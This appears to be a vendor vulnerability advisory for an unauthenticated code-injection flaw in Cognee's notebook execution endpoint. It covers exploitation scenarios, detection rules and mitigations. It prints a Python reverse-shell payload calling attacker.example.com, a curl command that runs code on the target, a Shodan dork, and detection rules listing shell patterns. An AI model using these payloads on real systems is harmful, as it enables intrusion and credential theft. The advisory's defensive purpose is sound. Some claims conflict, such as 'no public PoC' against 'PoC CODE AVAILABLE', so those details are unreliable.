CVE-2026-31231
Executive Summary
CVE-2026-31231 is a critical unauthenticated remote code execution (RCE) vulnerability affecting Cognee (an open-source AI/ML notebook platform) through version 0.4.0. The flaw resides in the notebook cell execution API endpoint, which invokes Python's built-in exec() function on user-supplied code without any sandboxing, input validation, or privilege separation. An attacker who can reach the endpoint over the network can achieve full compromise of the Cognee server process with SYSTEM/root-equivalent privileges. With a CVSS base score of 9.8, this vulnerability is trivially exploitable and effectively grants an attacker complete control over the host system, including access to any connected databases, AI models, or adjacent infrastructure. The vendor has not yet released a patch, leaving all deployments of version 0.4.0 and earlier fully exposed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The root cause of CVE-2026-31231 is an architectural design error in Cognee's notebook execution engine. The application exposes a RESTful API endpoint (typically /api/v1/notebook/execute or /execute) designed to accept notebook cell content as JSON payloads. The backend handler extracts the code field from the incoming request and passes it directly to Python's built-in exec() function.
The vulnerable code path follows this sequence:
- HTTP Request Parsing: The Flask/FastAPI-based web server receives a POST request with a JSON body containing a
codeparameter (e.g.,{"code": "print('hello')"}). - Direct Execution: The server extracts the string and calls
exec(code)without any of the following protections:- Sandboxing (e.g.,
restricted_env,isolated_mode) - AST validation (e.g., blocking
__import__,os,subprocess,open) - Input length constraints
- Authentication or authorization checks
- Rate limiting
- Sandboxing (e.g.,
- Global Namespace Exposure: The
exec()is called with the default global namespace, meaning the attacker's code inherits all loaded Python modules, includingos,subprocess, andsys. This eliminates any need for import bypasses — the modules are already in scope. - No Exception Isolation: Any exceptions raised by the malicious code are caught and returned to the user in the HTTP response body, providing instant feedback that aids in error-driven exploitation (e.g., confirming command execution output reflection).
The attack surface is the web interface itself. Cognee is designed to be deployed as a self-hosted web application, often on internal networks or cloud instances. The default configuration binds the server to 0.0.0.0, making it reachable by any network peer. Because the endpoint does not require API keys, session tokens, or CSRF protection, any unauthenticated host that can route to the Cognee port (default 8080 or 8000) can exploit it.
The vulnerability classifies as CWE-94 (Improper Control of Generation of Code — Code Injection). The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H reflects that exploitation requires no privileges, no user interaction, no special conditions, and results in full confidentiality, integrity, and availability loss on the target host. The EPSS score of 0.00635 (47th percentile) suggests low but nontrivial exploitation likelihood in the wild as of the scoring date.
Exploitation Scenarios
Scenario 1: Direct Unauthenticated RCE (Internet-Exposed Instance)
- Reconnaissance: The attacker scans for Cognee instances using Shodan or mass internet scanning with the dork
title:"cognee" http. Alternatively, they port-scan for hosts with port 8000/8080 open and fingerprint the HTTP response headers (Server: WerkzeugorServer: uvicorn, plus Cognee-specific static assets). - Endpoint Discovery: The attacker fetches
GET /and inspects the JavaScript bundle or OpenAPI documentation (/openapi.jsonif FastAPI is used) to locate the notebook execution endpoint. Common paths:/api/notebook/execute,/api/v1/execute,/execute, or/api/cell/run. - Weaponization: The attacker crafts a POST request with a JSON body containing Python code that spawns a reverse shell. Example payload:
{ "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('attacker.example.com',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])" } - Payload Delivery: The attacker sends the request using cURL:
If the response body includes the output ofcurl -X POST http://target:8000/api/notebook/execute \ -H "Content-Type: application/json" \ -d '{"code":"import os; os.system(\"id\")"}'id(uid=0(root)), the attacker confirms code execution and proceeds with the full reverse shell payload. - Post-Exploitation: With a shell as the service account (often root in Docker containers or a privileged user on bare metal), the attacker:
- Exfiltrates environment variables, including database credentials (
DATABASE_URL), API keys for AI/LLM providers, and cloud IAM keys. - Dumps the Cognee metadata store (e.g., PostgreSQL or SQLite) to access project data, embedded vectors, and user notebooks.
- Pivots laterally to other systems using discovered credentials, or deploys a crypto miner and persistence mechanisms (cron job, systemd service, SSH key injection).
- Exfiltrates environment variables, including database credentials (
Scenario 2: Hostile Multi-Tenant Abuse
- Target Identification: An attacker registers a legitimate user account on a public Cognee deployment (if registration is open) or compromises a low-privilege user session.
- Lateral Escalation: Instead of exploiting the notebook execution as a registered user (which would still run code), the attacker crafts a direct API call to the execution endpoint using a forged or missing session. Because no authentication is enforced on the endpoint itself, the attacker bypasses user-level permissions entirely.
- Persistence: The attacker writes a Python script to the Cognee installation directory that periodically polls an attacker-controlled C2 server for instructions. This script is deployed via the initial
exec()call and survives service restarts. - Impact: The attacker now has persistent RCE on the server, capable of reading all other tenants' notebooks and data, modifying AI model weights, or injecting malicious prompts into the system.
Scenario 3: Internal Network Pivot
- Initial Footing: The attacker compromises an unrelated low-value host on the corporate network (e.g., a misconfigured web server).
- Internal Discovery: Using tools like
nmap, the attacker scans the internal subnet10.0.0.0/24for port 8000/8080. They identify a Cognee instance by banner grab or HTTP title. - Exploitation: The attacker executes a single
exec()payload that establishes a SOCKS proxy (e.g., usingpwnorsocksipy) through the Cognee server, turning it into a pivot node. - Expansion: The attacker uses the compromised Cognee server (which often has broad network access for fetching datasets, connecting to vector databases, and calling LLM APIs) to reach internal services otherwise inaccessible from the perimeter.
Impact Assessment
The CVSS base score of 9.8 (Critical) reflects the full impact triad: C:H/I:H/A:H. The primary impacts are:
- Confidentiality: An attacker gains read access to the entire filesystem, all environment variables, and any connected data stores (SQL/NoSQL databases, vector stores, blob storage). Cognee is specifically used for AI/ML data pipelines — meaning proprietary training data, customer PII, and intellectual property stored in notebooks or vector indices are exposed.
- Integrity: The attacker can modify or delete any files, alter AI model configurations, tamper with logs to cover tracks, and inject backdoors (e.g., malicious Python packages) into the runtime environment.
- Availability: The attacker can terminate processes, corrupt data, or exfiltrate then ransom the system. In worst-case scenarios, they can destroy the entire environment or use the server as a launchpad for DDoS attacks.
Blast Radius: The system compromise extends beyond the Cognee process. If Cognee runs inside a Docker container with default privileges (which is the common deployment pattern), the attacker can potentially break out via container escape techniques or misconfigured volumes. If it runs natively as root (also common in small deployments), the attacker has full host compromise immediately. Connected downstream systems — vector databases (e.g., Milvus, Weaviate), relational databases, object storage (S3), and LLM provider API endpoints — are all at risk of credential theft and indirect compromise.
EPSS Context: The EPSS score of 0.00635 places this in the 47th percentile of all known CVEs, meaning it is more likely to be exploited than half of historical vulnerabilities. The lack of a patch and public exploit code means exploitation is currently likely limited to manual security researchers and sophisticated threat actors, but the low complexity (single HTTP request, no auth) suggests a high probability of mass scanning campaigns once the PoC inevitably becomes public.
Detection Guidance
Sigma Rule
title: Cognee Notebook Exec - Suspicious Python Code Injection
id: 9f6b4d2e-1c8a-4f0b-9d2e-3f5a8b7c1d2a
status: experimental
description: Detects attempts to exploit CVE-2026-31231 by targeting the Cognee notebook execution endpoint with suspicious code patterns.
author: ValtersIT Threat Intelligence
date: 2026/05/15
logsource:
category: webserver
product: nginx
detection:
selection_path:
cs-uri-path|contains:
- '/api/notebook/execute'
- '/api/v1/execute'
- '/api/cell/run'
- '/execute'
selection_body:
cs-body|contains:
- 'exec('
- 'os.system'
- 'subprocess'
- 'socket'
- 'base64'
- 'eval('
- 'pty'
- 'socket.socket'
condition: selection_path and selection_body
level: critical
YARA Rule
rule Cognee_RCE_CVE_2026_31231 {
meta:
author = "ValtersIT Threat Intelligence"
description = "Detects HTTP POST bodies targeting Cognee execution endpoint with malicious Python payloads"
reference = "CVE-2026-31231"
severity = "critical"
strings:
$path1 = "/api/notebook/execute" ascii nocase
$path2 = "/api/v1/execute" ascii nocase
$path3 = "/execute" ascii nocase
$code_key = "\"code\":\"" ascii
$func_exec = "exec(" ascii
$func_eval = "eval(" ascii
$mod_os = "import os" ascii
$mod_subprocess = "import subprocess" ascii
$mod_socket = "import socket" ascii
$rev_shell = "socket.socket" ascii
$cmd_id = "os.system(\"id\")" ascii
$b64 = "base64.b64decode" ascii
condition:
uint16(0) == 0x0a0d and any of ($path*) and $code_key and (1 of ($func*)) and (1 of ($mod*) or 1 of ($rev_shell*) or $cmd_id or $b64)
}
Suricata IDS Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2026-31231 - Cognee Notebook Exec RCE Attempt";
flow:established,to_server;
http.method;
content:"POST";
http.uri;
content:"/execute";
http.request_body;
content:"\"code\"";
pcre:"/(exec\(|eval\(|os\.(system|popen)|subprocess|socket\.socket|base64\.b64)/i";
classtype:attempted-admin;
sid:2026031231;
rev:1;
metadata:created_at 2026_05_15, updated_at 2026_05_15;
)
Elastic Detection
sequence by host.name with maxspan=5s
[network where event.type == "start" and process.name == "python" and destination.port == 8000]
[http where event.action == "start" and http.request.method == "POST" and
http.request.uri in ("/api/notebook/execute", "/api/v1/execute", "/api/cell/run", "/execute") and
http.request.body.text contains ("exec(", "eval(", "import os", "import subprocess", "socket.socket")]
Splunk SPL Query
index=web sourcetype=access_combined status=200 method=POST
| where match(uri, "(?i)(execute|run)$")
| regex _raw="\"code\":\".*(exec\(|eval\(|os\.system|subprocess|socket\.socket|base64\.b64)"
| table _time, src_ip, uri, http_user_agent, _raw
| eval threat = "CVE-2026-31231 Cognee RCE"
| stats count by src_ip, uri, threat
Wazuh OSSEC Rule
<group name="cognee,">
<rule id="100231" level="15">
<decoded_as>json</decoded_as>
<field name="url">\.(execute|run)$</field>
<regex>\"code\":\".*(exec\(|eval\(|os\.system|subprocess|socket\.socket)</regex>
<description>Cognee CVE-2026-31231: RCE attempt detected targeting notebook execution endpoint</description>
<mitre>
<id>T1190</id>
</mitre>
<group>cognee, rce, cve-2026-31231,</group>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — UNPATCHED. No official patch from Cognee is available as of this report. The affected version range is v0.4.0 and all earlier releases. Because the vulnerability is structural (the exec() call is core to the product's intended functionality), remediation requires a fundamental redesign rather than a simple hotfix.
Immediate Mitigations (implement within hours):
- Network Segmentation: Immediately restrict network access to the Cognee instance. Place it behind a reverse proxy (nginx, HAProxy) and apply allow-list rules to permit connections only from known internal IPs / VPN ranges.
- Disable or Remove the Endpoint: If notebook execution is not actively used, block the execution API path entirely at the reverse proxy:
location ~ ^/(api/notebook/execute|api/v1/execute|api/cell/run|execute)$ { deny all; return 403; } - Authentication Enforcement: Implement mandatory authentication at the reverse proxy layer (e.g., HTTP Basic Auth or OAuth2 proxy) to block all unauthenticated requests to the Cognee backend.
- Container Hardening: If running in Docker, reconfigure with:
read_only: truefilesystemcap_drop: ALL(remove Linux capabilities)security_opt: no-new-privileges:truepids_limitto restrict process creation- Remove
CAP_SYS_ADMINto hinder container escape - Run as non-root user (
--user 10001:10001)
- WAF / IPS Rules: Deploy the Sigma/Suricata detection rules above to a WAF (e.g., ModSecurity, Cloudflare) to block known payload signatures in transit.
Patch / Upgrade Steps (when available):
- Monitor the official Cognee GitHub repository (https://github.com/cognee) and release feeds for a patched version > v0.4.0.
- Before upgrading, back up the Cognee data store and configuration files.
- Test the patched version in a staging environment that replicates production network access and workload patterns.
- Upgrade using the official release installation method (Docker image, pip, or source).
- After upgrade, verify the notebook execution API now enforces authentication, input sanitization, and sandboxing (e.g., using
exec()inside a restricted environment or a subprocess with seccomp filters).
Long-Term Hardening:
- Architectural Change: The vendor must replace the raw
exec()call with a properly sandboxed execution engine (e.g.,pysandbox,RestrictedPython, or a containerized code runner with gVisor/Firecracker microVM isolation). - Code Audit: Conduct a full security audit of all API endpoints for similar unsafe deserialization or code execution patterns.
- Credential Rotation: Assume any unpatched deployment has been compromised. Rotate all secrets (database credentials, cloud IAM keys, LLM API keys) that the Cognee server process has access to.
- Logging & Monitoring: Enable verbose HTTP request logging for the execution endpoint and retain logs for at least 90 days to support forensic investigations.
- Deployment Review: Change default binding from
0.0.0.0to127.0.0.1and document mandatory reverse-proxy usage in all deployment guides.
References
- NVD — CVE-2026-31231 Details: https://nvd.nist.gov/vuln/detail/CVE-2026-31231
- Cognee Official Repository (watch for security advisories): https://github.com/cognee
- MITRE ATT&CK Technique T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- CWE-94 — Improper Control of Generation of Code: https://cwe.mitre.org/data/definitions/94.html
- CISA Known Exploited Vulnerabilities Catalog (CVE currently NOT listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Additional Intelligence Note: As of this report, there are no confirmed exploitation campaigns, public PoC exploits, or indicators of compromise associated with CVE-2026-31231. The EPSS score of 0.00635 (47th percentile) suggests the vulnerability is not yet being actively mass-exploited, but its trivial nature (single unauthenticated POST request) and critical severity make it highly likely that weaponized exploit code will emerge shortly after patch disclosure or through independent research. Security teams running Cognee should treat every exposed instance as compromised and follow the incident response steps outlined in the Mitigation section.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.